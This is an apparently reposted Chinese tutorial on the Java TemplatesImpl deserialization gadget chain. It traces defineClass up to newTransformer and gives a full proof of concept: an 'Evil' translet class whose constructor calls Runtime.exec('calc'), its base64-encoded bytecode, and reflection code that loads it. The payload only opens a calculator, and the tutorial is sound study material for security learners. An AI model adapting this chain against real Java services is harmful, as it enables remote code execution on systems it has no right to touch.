慢吞云雾缓吐愁 发表于 2024-9-7 23:43:04

Java反序列化漏洞-TemplatesImpl使用链分析

目录

[*]一、前言
[*]二、正文

[*]1. 寻找使用链
[*]2. 构造POC

[*]2.1 生成字节码
[*]2.2 加载字节码

[*]1)getTransletInstance
[*]2)defineTransletClasses

[*]2.3 创建实例

[*]3. 完整POC

[*]三、参考文章

一、前言

java.lang.ClassLoader#defineClass
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202541841-1920329337.png
defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接使用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。
二、正文

1. 寻找使用链

由于defineClass的访问修饰符为protected,所以我们需要寻找使用defineClass的方法,直到找到修饰符为public的方法即可。
查找defineClass的声明和用例,可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法重载了defineClass方法:
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202551422-55612665.png
TransletClassLoader,由于它的作用域是default,所以还得继承寻找调用TransletClassLoader的方法。
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202602825-1365815239.png
终极找到的调用链:
TemplatesImpl#newTransformer() -->                        public
TemplatesImpl#getTransletInstance() -->                private
TemplatesImpl#defineTransletClasses() -->        private
TransletClassLoader#defineClass()                        default2. 构造POC

2.1 生成字节码

请注意,由于defineTransletClasses方法的限定,所以编写的被加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
      Runtime.getRuntime().exec("calc");
    }
}使用javac编译后,base64编码,生成终极的字节码
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202616859-1492981632.png
yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=2.2 加载字节码

首先编写一个静态类,用于反射修改成员变量
static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field declaredField = obj.getClass().getDeclaredField(fieldName);
    declaredField.setAccessible(true);
    declaredField.set(obj, value);
}https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202628978-2029642338.png
1)getTransletInstance

检察TemplatesImpl类的getTransletInstance方法,可以看到需要颠末两个if判定才华调用defineTransletClasses,_name需要赋一个String类型的值,_class本来就是null无需修改,我们来反射修改_name的值。
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202637361-1876434122.png
    public static void main(String[] args) throws Exception {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "随便");
      templates.newTransformer();
    }2)defineTransletClasses

接着进入defineTransletClasses,如果_bytecode为空会报此 Templates 不包罗有用的 translet 类界说的错误,如果_tfactory为为null步伐会直接返回。
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202657968-1893189957.png
可以看_bytecode作为参数调用了defineClass,所以_bytecode的值应为被加载的字节码。
然后可以看到被加载的类的必须继承自ASTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这就是刚才被加载类需要继承AbstractTranslet的原因。
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202732277-507387204.png
继承修改POC:
public static void main(String[] args) throws Exception {
    byte[] bytecode = Base64.getDecoder().decode("#####你的字节码#####");
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_name", "随便");
    setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    templates.newTransformer();
}2.3 创建实例

在defineTransletClasses中,加载_bytecode得到的Class对象赋给了_class
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202740461-1854222512.png
在getTransletInstance中_class类被创建实例,调用构造方法,至此乐成命令实行。这就是为什么没有自己调用newInstance而仍能命令实行的原因。
https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202800010-1413565363.png
3. 完整POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class LearnTemplatesImpl {
    public static void main(String[] args) throws Exception {
      byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "随便");
      setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
      setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
      templates.newTransformer();
    }

    static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field declaredField = obj.getClass().getDeclaredField(fieldName);
      declaredField.setAccessible(true);
      declaredField.set(obj, value);
    }
}https://img2024.cnblogs.com/blog/2855436/202409/2855436-20240907202807798-1372930905.png
三、参考文章

java安全漫谈 - phith0n
动态加载字节码学习 - bfengj
TemplatesImpl使用链分析 - seizer-zyx
Java反序列化之字节码二三事 - Drunkbaby

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Java反序列化漏洞-TemplatesImpl使用链分析